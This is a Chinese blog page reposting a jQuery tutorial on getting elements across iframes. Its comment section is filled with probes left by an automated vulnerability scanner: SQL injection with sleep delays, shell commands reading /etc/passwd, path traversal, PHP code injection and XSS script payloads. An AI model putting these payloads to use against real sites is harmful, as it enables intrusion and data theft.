新浪微博 登陆  注册   设为首页 加入收藏

学PHP >> JQUERY >> js和jquery穿梭iframe获取元素

js和jquery穿梭iframe获取元素

查看次数16382 发表时间2012-12-21 21:52:33

原文地址:http://www.cnblogs.com/liyuxin/archive/2011/10/06/2199931.html


query取得iframe中元素的几种方法

 

在iframe子页面获取父页面元素
代码如下:

$('#objId', parent.document);
// 搞定...


在父页面 获取iframe子页面的元素
代码如下:

$("#objid",document.frames('iframename').document)

 

$(document.getElementById('iframeId').contentWindow.document.body).html()
 
 显示iframe中body元素的内容。

 
$("#testId", document.frames("iframename").document).html();

 根据iframename取得其中ID为"testId"元素


$(window.frames["iframeName"].document).find("#testId").html()

 


用JS或jQuery访问页面内的iframe,兼容IE/FF
注意:框架内的页面是不能跨域的!

假设有两个页面,在相同域下.

index.html 文件内含有一个iframe:

XML/HTML代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>页面首页</title> 
</head> 
 
<body> 
<iframe src="iframe.html" id="koyoz" height="0" width="0"></iframe> 
</body> 
</html>  
iframe.html 内容:

XML/HTML代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>iframe.html</title> 
</head> 
 
<body> 
<div id="test">www.koyoz.com</div> 
</body> 
</html> 

1. 在index.html执行JS直接访问:

JavaScript代码
document.getElementById('koyoz').contentWindow.document.getElementById

('test').style.color='red'  
通过在index.html访问ID名为'koyoz'的iframe页面,并取得此iframe页面内的ID为'test'的

对象,并将其颜色设置为红色.

此代码已经测试通过,能支持IE/firefox .

2. 在index.html里面借助jQuery访问:

JavaScript代码
$("#koyoz").contents().find("#test").css('color','red');  
此代码的效果和JS直接访问是一样的,由于借助于jQuery框架,代码就更短了.
 

收集网上的一些示例:
用jQuery在IFRAME里取得父窗口的某个元素的值
只好用DOM方法与jquery方法结合的方式实现了

1. 在父窗口中操作 选中IFRAME中的所有单选钮
$(window.frames["iframe1"].document).find("input:radio").attr("checked","true");

2. 在IFRAME中操作 选中父窗口中的所有单选钮
$(window.parent.document).find("input:radio").attr("checked","true");

父窗口想获得IFrame中的Iframe,就再加一个frames子级就行了,如:
$(window.frames["iframe1"].frames["iframe2"].document).find("input:radio").attr("checked","true");

3.在子窗口中调用父窗口中的另一个子窗口的方法(FRAME):

  parent.frames["Main"].Fun();

  注意:建议使用[],这样比较兼容多个浏览器,() 火狐/搜狗/谷歌不兼容。


(转发请注明转自:学PHP)    


  相关推荐



1楼 学phper说: 2015-05-07 17:46:19
-1'
2楼 学phper说: 2015-05-07 17:46:19
1
3楼 -1'说: 2015-05-07 17:46:20
1
4楼 学PHPER说: 2015-08-03 16:54:31
1
5楼 学PHPER说: 2015-08-03 17:32:39
response.write(9432504*9108877)
6楼 学PHPER说: 2015-08-03 17:32:39
'+response.write(9432504*9108877)+'
7楼 学PHPER说: 2015-08-03 17:32:39
1
8楼 学PHPER说: 2015-08-03 17:32:39
"+response.write(9432504*9108877)+"
9楼 学PHPER说: 2015-08-03 17:32:40
1
10楼 response.write(9902770*9579441)说: 2015-08-03 17:32:41
1
11楼 '+response.write(9902770*9579441)+'说: 2015-08-03 17:32:42
1
12楼 学PHPER说: 2015-08-03 17:32:44
SomeCustomInjectedHeader:injected_by_wvs
13楼 学PHPER说: 2015-08-03 17:32:44
SomeCustomInjectedHeader:injected_by_wvs
14楼 学PHPER说: 2015-08-03 17:32:44
SomeCustomInjectedHeader:injected_by_wvs
15楼 学PHPER说: 2015-08-03 17:32:46
1
16楼 学PHPER说: 2015-08-03 17:32:48
${99113+99426}
17楼 ${99395+99739}说: 2015-08-03 17:32:49
1
18楼 学PHPER说: 2015-08-03 17:32:50
1
19楼 学PHPER说: 2015-08-03 17:32:50
1
20楼 学PHPER说: 2015-08-03 17:32:50
if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/
21楼 学PHPER说: 2015-08-03 17:32:50
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
22楼 学PHPER说: 2015-08-03 17:32:50
-1; waitfor delay '0:0:15' --
23楼 学PHPER说: 2015-08-03 17:32:51
-1); waitfor delay '0:0:15' --
24楼 学PHPER说: 2015-08-03 17:32:51
-1)); waitfor delay '0:0:15' --
25楼 学PHPER说: 2015-08-03 17:32:51
RtZ6IxR7'; waitfor delay '0:0:5' --
26楼 学PHPER说: 2015-08-03 17:32:51
W78VvygE'); waitfor delay '0:0:5' --
27楼 学PHPER说: 2015-08-03 17:32:51
1
28楼 学PHPER说: 2015-08-03 17:32:51
3lCWzzo1')); waitfor delay '0:0:5' --
29楼 学PHPER说: 2015-08-03 17:32:51
-1;select pg_sleep(5); --
30楼 学PHPER说: 2015-08-03 17:32:52
-1);select pg_sleep(5); --
31楼 学PHPER说: 2015-08-03 17:32:52
268435455
32楼 学PHPER说: 2015-08-03 17:32:52
33楼 学PHPER说: 2015-08-03 17:32:52
-1));select pg_sleep(10); --
34楼 学PHPER说: 2015-08-03 17:32:52
..蜡
35楼 学PHPER说: 2015-08-03 17:32:52
2zA7RtF2';select pg_sleep(10); --
36楼 学PHPER说: 2015-08-03 17:32:52
1e309
37楼 学PHPER说: 2015-08-03 17:32:52
jeLRYvfX');select pg_sleep(10); --
38楼 学PHPER说: 2015-08-03 17:32:52
PcutPqqo'));select pg_sleep(10); --
39楼 学PHPER说: 2015-08-03 17:32:53
1some_inexistent_file_with_long_name%00.jpg
40楼 学PHPER说: 2015-08-03 17:32:53
testasp.vulnweb.com
41楼 学PHPER说: 2015-08-03 17:32:54
&cat /etc/passwd&
42楼 学PHPER说: 2015-08-03 17:32:54
'&cat /etc/passwd&'
43楼 学PHPER说: 2015-08-03 17:32:54
"&cat /etc/passwd&"
44楼 学PHPER说: 2015-08-03 17:32:54
cat /etc/passwd
45楼 学PHPER说: 2015-08-03 17:32:54
`cat /etc/passwd`
46楼 学PHPER说: 2015-08-03 17:32:55
|cat /etc/passwd#
47楼 学PHPER说: 2015-08-03 17:32:55
'|'ld
48楼 学PHPER说: 2015-08-03 17:32:55
"|"ld
49楼 学PHPER说: 2015-08-03 17:32:55
;cat /etc/passwd;
50楼 学PHPER说: 2015-08-03 17:32:55
';cat /etc/passwd;'
51楼 学PHPER说: 2015-08-03 17:32:55
";cat /etc/passwd;"
52楼 学PHPER说: 2015-08-03 17:32:55
||cat /etc/passwd
53楼 学PHPER说: 2015-08-03 17:32:56
&dir
54楼 学PHPER说: 2015-08-03 17:32:56
'&dir&'
55楼 学PHPER说: 2015-08-03 17:32:56
"&dir&"
56楼 学PHPER说: 2015-08-03 17:32:56
|dir
57楼 学PHPER说: 2015-08-03 17:32:56
'|dir
58楼 学PHPER说: 2015-08-03 17:32:56
"|dir
59楼 学PHPER说: 2015-08-03 17:32:57
1
60楼 学园phper说: 2015-08-03 17:32:57
1
61楼 268435455说: 2015-08-03 17:32:57
1
62楼 testasp.vulnweb.com说: 2015-08-03 17:32:57
1
63楼 鉮说: 2015-08-03 17:32:57
1
64楼 ..蜡说: 2015-08-03 17:32:57
1
65楼 1e309说: 2015-08-03 17:32:57
1
66楼 学园phper说: 2015-08-03 17:32:57
1
67楼 学PHPER说: 2015-08-03 17:32:58
1
68楼 cFQ3NEg1akJXMm0=说: 2015-08-03 17:32:58
1
69楼 %d1%a7PHPER说: 2015-08-03 17:32:58
1
70楼 %d1%a7PHPER说: 2015-08-03 17:32:58
1
71楼 MfWlzMJY'; waitfor delay '0:0:5' -- 说: 2015-08-03 17:32:59
1
72楼 coAtlDGh'); waitfor delay '0:0:5' -- 说: 2015-08-03 17:32:59
1
73楼 4iQD9CMz')); waitfor delay '0:0:5' -- 说: 2015-08-03 17:32:59
1
74楼 PaiNWUzc';select pg_sleep(5); -- 说: 2015-08-03 17:32:59
1
75楼 cG76D7fT');select pg_sleep(5); -- 说: 2015-08-03 17:32:59
1
76楼 mcg7wGnn'));select pg_sleep(10); -- 说: 2015-08-03 17:32:59
1
77楼 学PHPER说: 2015-08-03 17:33:00
)
78楼 学PHPER说: 2015-08-03 17:33:00
!(()&&!|*|*|
79楼 学PHPER说: 2015-08-03 17:33:00
^(#$!@#$)(()))******
80楼 学PHPER说: 2015-08-03 17:33:01
'"()
81楼 学园phper说: 2015-08-03 17:33:02
1
82楼 )说: 2015-08-03 17:33:02
1
83楼 '"()说: 2015-08-03 17:33:02
1
84楼 !(()&&!|*|*|说: 2015-08-03 17:33:03
1
85楼 ^(#$!@#$)(()))******说: 2015-08-03 17:33:03
1
86楼 学PHPER说: 2015-08-03 17:33:03
../../../../../../../../../../etc/passwd
87楼 学PHPER说: 2015-08-03 17:33:03
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
88楼 学PHPER说: 2015-08-03 17:33:03
1
89楼 学PHPER说: 2015-08-03 17:33:03
../../../../../../../../../../etc/passwd.jpg
90楼 学PHPER说: 2015-08-03 17:33:03
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
91楼 学PHPER说: 2015-08-03 17:33:04
;print(md5(acunetix_wvs_security_test));
92楼 学PHPER说: 2015-08-03 17:33:04
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
93楼 学PHPER说: 2015-08-03 17:33:04
';print(md5(acunetix_wvs_security_test));$a='
94楼 学PHPER说: 2015-08-03 17:33:04
";print(md5(acunetix_wvs_security_test));$a="
95楼 学PHPER说: 2015-08-03 17:33:04
/../..//../..//../..//../..//../..//etc/passwd.jpg
96楼 学PHPER说: 2015-08-03 17:33:04
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
97楼 学PHPER说: 2015-08-03 17:33:04
${@print(md5(acunetix_wvs_security_test))}
98楼 学PHPER说: 2015-08-03 17:33:04
/etc/passwd
99楼 学PHPER说: 2015-08-03 17:33:04
${@print(md5(acunetix_wvs_security_test))}\
100楼 学PHPER说: 2015-08-03 17:33:04
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
101楼 学PHPER说: 2015-08-03 17:33:04
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
102楼 学PHPER说: 2015-08-03 17:33:04
..蜡..蜡..蜡..蜡..蜡..蜡..蜡..蜡etc/passwd
103楼 学PHPER说: 2015-08-03 17:33:05
file:///etc/passwd
104楼 学PHPER说: 2015-08-03 17:33:05
/\../\../\../\../\../\../\../etc/passwd
105楼 学PHPER说: 2015-08-03 17:33:05
WEB-INF/web.xml
106楼 学PHPER说: 2015-08-03 17:33:05
WEB-INF\web.xml
107楼 学PHPER说: 2015-08-03 17:33:05
../../../../../../../../../../windows/win.ini
108楼 学PHPER说: 2015-08-03 17:33:05
../../../../../../../../../../boot.ini
109楼 学PHPER说: 2015-08-03 17:33:06
../../../../../../../../../../windows/win.ini.jpg
110楼 &cat /etc/passwd&说: 2015-08-03 17:33:06
1
111楼 学PHPER说: 2015-08-03 17:33:06
喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡windows蜡win.ini
112楼 '&cat /etc/passwd&'说: 2015-08-03 17:33:06
1
113楼 学PHPER说: 2015-08-03 17:33:06
................windowswin.ini
114楼 "&cat /etc/passwd&"说: 2015-08-03 17:33:06
1
115楼 学PHPER说: 2015-08-03 17:33:06
..\..\..\..\..\..\..\..\windows\win.ini
116楼 cat /etc/passwd 说: 2015-08-03 17:33:06
1
117楼 `cat /etc/passwd`说: 2015-08-03 17:33:06
1
118楼 学PHPER说: 2015-08-03 17:33:06
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
119楼 |cat /etc/passwd#说: 2015-08-03 17:33:06
1
120楼 学PHPER说: 2015-08-03 17:33:06
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
121楼 学PHPER说: 2015-08-03 17:33:06
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
122楼 '|'ld说: 2015-08-03 17:33:06
1
123楼 "|"ld说: 2015-08-03 17:33:06
1
124楼 学PHPER说: 2015-08-03 17:33:06
1
125楼 ;cat /etc/passwd;说: 2015-08-03 17:33:07
1
126楼 学PHPER说: 2015-08-03 17:33:07
acunetix_wvs_invalid_filename
127楼 ';cat /etc/passwd;'说: 2015-08-03 17:33:07
1
128楼 学PHPER说: 2015-08-03 17:33:07
addmsg.php
129楼 学PHPER说: 2015-08-03 17:33:07
WEB-INF/web.xml
130楼 ";cat /etc/passwd;"说: 2015-08-03 17:33:07
1
131楼 学PHPER说: 2015-08-03 17:33:07
WEB-INF\web.xml
132楼 ||cat /etc/passwd说: 2015-08-03 17:33:07
1
133楼 学PHPER说: 2015-08-03 17:33:07
addmsg.php
134楼 &dir说: 2015-08-03 17:33:07
1
135楼 学PHPER说: 2015-08-03 17:33:07
addmsg.php/.
136楼 '&dir&'说: 2015-08-03 17:33:07
1
137楼 "&dir&"说: 2015-08-03 17:33:07
1
138楼 |dir说: 2015-08-03 17:33:07
1
139楼 '|dir说: 2015-08-03 17:33:08
1
140楼 "|dir说: 2015-08-03 17:33:08
1
141楼 ;print(md5(acunetix_wvs_security_test));说: 2015-08-03 17:33:08
1
142楼 %d1%a7PHPER说: 2015-08-03 17:33:10
1
143楼 acunetix_wvs_invalid_filename说: 2015-08-03 17:33:10
1
144楼 addmsg.php说: 2015-08-03 17:33:10
1
145楼 addmsg.php说: 2015-08-03 17:33:10
1
146楼 学PHPER说: 2015-08-03 17:33:10
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
147楼 addmsg.php/.说: 2015-08-03 17:33:10
1
148楼 学PHPER说: 2015-08-03 17:33:12
1
149楼 学PHPER说: 2015-08-03 17:33:13
'"
150楼 学PHPER说: 2015-08-03 17:33:13
<!--
151楼 学PHPER说: 2015-08-03 17:33:13
1
152楼 学PHPER说: 2015-08-03 17:33:13
1'"
153楼 学PHPER说: 2015-08-03 17:33:13
\
154楼 学PHPER说: 2015-08-03 17:33:14
1àxa7à¢
155楼 学PHPER说: 2015-08-03 17:33:14
@@g6qL7
156楼 学PHPER说: 2015-08-03 17:33:14
JyI=
157楼 学PHPER说: 2015-08-03 17:33:14
?'?"
158楼 '"说: 2015-08-03 17:33:14
1
159楼 学PHPER说: 2015-08-03 17:33:14
e''e""
160楼 <!--说: 2015-08-03 17:33:14
1
161楼 学PHPER说: 2015-08-03 17:33:17
1
162楼 %d1%a7PHPER说: 2015-08-03 17:33:18
1
163楼 1'"说: 2015-08-03 17:33:18
1
164楼 \说: 2015-08-03 17:33:19
1
165楼 1àxa7à¢说: 2015-08-03 17:33:19
1
166楼 @@AwTtd说: 2015-08-03 17:33:19
1
167楼 JyI=说: 2015-08-03 17:33:19
1
168楼 ?'?"说: 2015-08-03 17:33:19
1
169楼 e''e""说: 2015-08-03 17:33:19
1
170楼 ../../../../../../../../../../etc/passwd说: 2015-08-03 17:33:25
1
171楼 .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd说: 2015-08-03 17:33:27
1
172楼 /etc/passwd说: 2015-08-03 17:33:27
1
173楼 file:///etc/passwd说: 2015-08-03 17:33:28
1
174楼 /\../\../\../\../\../\../\../etc/passwd说: 2015-08-03 17:33:29
1
175楼 WEB-INF/web.xml说: 2015-08-03 17:33:29
1
176楼 WEB-INF\web.xml说: 2015-08-03 17:33:29
1
177楼 ../../../../../../../../../../boot.ini说: 2015-08-03 17:33:29
1
178楼 ................windowswin.ini说: 2015-08-03 17:33:30
1
179楼 ..\..\..\..\..\..\..\..\windows\win.ini说: 2015-08-03 17:33:30
1
180楼 WEB-INF/web.xml说: 2015-08-03 17:33:32
1
181楼 WEB-INF\web.xml说: 2015-08-03 17:33:32
1
182楼 学PHPER说: 2015-08-03 17:34:02
1'"()&%<ScRiPt >prompt(915208)</ScRiPt>
183楼 学PHPER说: 2015-08-03 17:34:02
'"()&%<ScRiPt >prompt(927760)</ScRiPt>
184楼 学PHPER说: 2015-08-03 17:34:04
1_954390
185楼 学PHPER说: 2015-08-03 17:34:05
acu9318锛渟1锕?2屎s3使uca9318
186楼 学PHPER说: 2015-08-03 17:34:06
acux3687谰z1兰z2a恇cxuca3687
187楼 学PHPER说: 2015-08-03 17:34:06
1<ScRiPt >prompt(929891)</ScRiPt>
188楼 学PHPER说: 2015-08-03 17:34:07
1<script>prompt(977562)</script>
189楼 学PHPER说: 2015-08-03 17:34:08
1<ScRiPt >prompt(976665)</ScRiPt>
190楼 学PHPER说: 2015-08-03 17:34:08
1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?964526></ScRiPt>
191楼 学PHPER说: 2015-08-03 17:34:09
1<ScRiPt >prompt(944499)</ScRiPt>
192楼 学PHPER说: 2015-08-03 17:34:10
1<video><source onerror="javascript:prompt(959391)">
193楼 学PHPER说: 2015-08-03 17:34:11
1<div style=width:expression(prompt(919628))>
194楼 学PHPER说: 2015-08-03 17:34:11
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='985792'>
195楼 学PHPER说: 2015-08-03 17:34:12
1<body onload=prompt(958412)>
196楼 学PHPER说: 2015-08-03 17:34:18
1<img src=//testasp.vulnweb.com/t/dot.gif onload=prompt(920951)>
197楼 学PHPER说: 2015-08-03 17:34:19
1<img src=xyz OnErRor=prompt(939392)>
198楼 学PHPER说: 2015-08-03 17:34:19
1<img/src=">" onerror=alert(976208)>
199楼 学PHPER说: 2015-08-03 17:34:20
1<ScRiPt%20>prompt(923411)</sCripT>
200楼 学PHPER说: 2015-08-03 17:34:21
1&lt;ScRiPt&gt;prompt(900504)&lt;/sCripT&gt;
201楼 学PHPER说: 2015-08-03 17:34:21
?<img acu onmouseover=prompt(933212) //?>
202楼 学PHPER说: 2015-08-03 17:34:22
1<input autofocus onfocus=prompt(927461)>
203楼 学PHPER说: 2015-08-03 17:34:24
1_hfVtI <ScRiPt >prompt(942319)</ScRiPt>
204楼 %d1%a7PHPER_923819说: 2015-08-03 17:34:41
1
205楼 acu6236锛渟1锕?2屎s3使uca6236说: 2015-08-03 17:34:42
1
206楼 acux10095谰z1兰z2a恇cxuca10095说: 2015-08-03 17:34:43
1

  发表评论
昵称:
(不超过20个字符或10个汉字)
内容: